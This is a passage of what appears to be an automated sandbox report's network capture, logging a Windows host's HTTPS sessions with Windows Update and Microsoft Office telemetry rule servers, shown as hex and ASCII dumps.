2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-28 12:09:56 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49747	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=kVOOF6t5ugSsvNa&MD=vea5wBbf HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-28 12:10:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: bce7c7b9-b481-4cd5-b735-749c566d428c MS-RequestId: 459551e1-3839-4f44-822a-144aa8ec8341 MS-CV: Htbqo9YWn0KMzX+T.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 28 Nov 2024 12:09:59 GMT Connection: close Content-Length: 30005
2024-11-28 12:10:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-28 12:10:00 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:58 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:09:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:58 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T120958Z-174f7845968j6t2phC1EWRcfe80000000ygg000000007pfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:09:59 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:58 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:09:59 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:58 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T120958Z-174f7845968j6t2phC1EWRcfe80000000yh0000000007g8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:09:59 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:58 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:09:59 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:59 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T120959Z-174f7845968xr5c2hC1EWRd0hn0000000fbg0000000015u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:09:59 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:58 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:09:59 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:58 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T120958Z-174f7845968vqt9xhC1EWRgten0000000ygg000000003ahy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:09:59 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:09:58 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:09:59 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:09:58 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T120958Z-174f7845968n2hr8hC1EWR9cag0000000y1g000000005rd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:09:59 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:00 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121001Z-174f7845968jrjrxhC1EWRmmrs0000000ym0000000003h2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:00 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:01 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121001Z-174f78459685726chC1EWRsnbg0000000yh0000000002kgt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
